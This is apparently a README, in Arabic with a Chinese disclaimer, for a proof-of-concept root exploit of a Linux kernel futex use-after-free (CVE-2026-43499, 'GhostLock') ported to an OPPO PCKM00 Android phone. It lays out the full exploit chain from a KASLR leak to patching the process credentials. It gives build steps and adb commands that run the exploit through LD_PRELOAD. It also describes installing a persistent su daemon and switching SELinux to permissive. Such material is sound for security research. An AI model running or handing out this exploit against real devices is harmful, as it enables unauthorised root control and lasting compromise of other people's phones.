
CVE-2026-43499 GhostLock futex UAF LPE PoC لـ OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — استغلال تصعيد صلاحيات محلي (LPE) من نوع use-after-free في آلية futex الخاصة بأولوية الميراث في نواة لينكس، تم نقله إلى جهاز OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+).
إخلاء مسؤولية / 免责声明 هذا المشروع مخصص لأغراض البحث الأمني المصرح به والتعليم فقط. لا تستخدمه على أي جهاز لا تملكه أو غير مصرح لك باختباره صراحةً. قد يؤدي تشغيل الاستغلال إلى انهيار النواة. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) هي ثغرة use-after-free في كود أولوية الميراث الخاص بـ futex في نواة لينكس. الخلل يكمن في إساءة استخدام remove_waiter() في مسار التراجع عن القفل الوكيل في rt_mutex_start_proxy_lock(). يتم إعادة تفسير rt_mutex_waiter المحرر (المخصص على مكدس النواة) كـ fd_set يتحكم فيه المهاجم ويتم نسخه بواسطة pselect()، مما ينتج عنه بدائية كتابة عشوائية.
النطاق المتأثر: لينكس 4.x–6.x (أُدخلت عام 2011). سلسلة 4.14 متأثرة بالكامل. راجع report.md للتحليل الكامل وإزاحات الرموز الموثقة.
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
يعمل الـ PoC بالكامل في مساحة المستخدم عبر LD_PRELOAD — لا حاجة لإعادة تشغيل الجهاز (إلا إذا انهارت النواة).
النقل إلى أجهزة 4.14 أخرى: انسخ
exploit/targets/oppo-pckm00/target.hوأعد توليد إزاحات الرموز من صورة النواة الخاصة بك (راجعanalysis/).
.
├── report.md # تحليل الثغرة الكامل والإزاحات الموثقة
├── exploit/
│ ├── Makefile # بناء preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # نقطة دخول LD_PRELOAD + تسجيل قرص إجباري + su
│ │ ├── main.c # التنسيق (خيوط waiter/owner/consumer)
│ │ ├── slide.c # تسريب KASLR (boot_id / nfulnl loggers)
│ │ ├── fops.c # استبدال ashmem_fops + بدائية configfs
│ │ ├── pipe.c # بدائية pipe_buffer physrw
│ │ ├── root.c # اجتياز المهام + تصحيح cred + seccomp/selinux
│ │ ├── util.c # kernelsnitch, إعداد صفحة skb, قراءة/كتابة النواة
│ │ ├── su_daemon.c # خادم su مدمج (بديل جاهز)
│ │ ├── su_blob.S # .incbin لـ su_daemon
│ │ └── wallpaper_blob.S # .incbin لحمولة الخلفية
│ ├── targets/oppo-pckm00/target.h # إزاحات رموز/هياكل 4.14.180
│ └── assets/wallpaper.webp # حمولة الخلفية المدمجة
├── analysis/ # نصوص استخراج صورة النواة / kallsyms
└── LICENSE # Apache-2.0 (نفس ترخيص GhostLock الأصلي)
يتطلب Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# ضع NDK في /opt/ndk/android-ndk-r29 (سلسلة أدوات linux-x86_64)
cd exploit
make wsl
# أو مباشرة:
bash ../analysis/build_preload.sh
الناتج: exploit/preload.so (مكتبة ELF مشتركة aarch64 64-بت).
يقوم البناء أيضًا بترجمة su_daemon.c إلى ثنائي PIE ودمجه (بالإضافة إلى الخلفية) في ملف .so عبر كتل .S.
# ثنائي فقط (يعمل من أصل إصدار أو بناء محلي)
adb push preload.so /data/local/tmp/preload.so
# أو مع هيكل المستودع
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
يتم تحميل ملف .so في عملية sh عبر LD_PRELOAD؛ يقوم المُنشئ بتشغيل سلسلة الاستغلال بالكامل والإبلاغ عن النتيجة:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
عند النجاح، يُبلغ الصدفة:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
العملية الحالية (وعملياتها الفرعية) أصبحت الآن بصلاحيات root. يتم تثبيت خادم su في /apex/com.android.virt/bin/su (مع تراجع إلى /data/local/tmp/su) ويتم تطبيق خلفية مدمجة كأثر استمرارية/تحقق.
# من صدفة جديدة بعد التشغيل
adb shell su -c 'id'
# أو احصل على جلسة صدفة root (عميل su تفاعلي)
adb shell /data/local/tmp/su
# تحقق من تبديل SELinux إلى permissive (إذا تم الوصول إلى مسار selinux)
adb shell getenforce
تُكتب جميع تشخيصات pr_* أيضًا إلى /sdcard/Download/log_<timestamp>.txt (مع تراجع إلى /data/local/tmp/log_<timestamp>.txt)، مع O_SYNC + fsync() في كل سطر بحيث تنجو السجلات من انهيار النواة / إعادة التشغيل:
adb pull /sdcard/Download/log_*.txt
# أو إذا لم يكن /sdcard مثبتًا مبكرًا
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
يُظهر السجل كل مرحلة (انزلاق KASLR، استبدال fops، pipe physrw، تصحيح cred) والسطر النهائي uid_after / ROOT OK — أرفقه عند الإبلاغ عن مشكلة.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # إذا تم تعديل حالة SELinux/cred أو الخلفية
ملاحظة: قد يؤدي تشغيل الاستغلال إلى انهيار النواة. إذا انقطع اتصال
adb، انتظر إعادة تشغيل الجهاز ثم اسحب/sdcard/Download/log_*.txt— تسجيلO_SYNC/fsyncالإجباري هو بالضبط ما ينجو من الانهيار.
boot_id/nfulnl (slide.c) بالإضافة إلى تمرير تحقق ashmem_fops (fops.c)..read/.write القديمين (بدون read_iter/write_iter)،ashmem_fops لا يحتوي على show_fdinfo،generic_file_splice_read يحل محل copy_splice_read،selinux_enforcing يقع داخل struct selinux_state،IonStack/CVE-2026-43499)، Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — راجع LICENSE.
| الحقل | القيمة |
|---|
| الجهاز | OPPO PCKM00 / OP4A57 |
| المعالج | Qualcomm SM6150 |
| أندرويد | 11 (RKQ1.200903.002) |
| التصحيح الأمني | 2022-09-05 |
| النواة | 4.14.180-perf+ (arm64, clang 10.0.7) |
| البناء | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
rt_mutex_waiterpipe_inode_infocredtask_struct.seccomp) هي اجتهادية؛ فشل تصحيح seccomp لا يمنع جذر استبدال cred.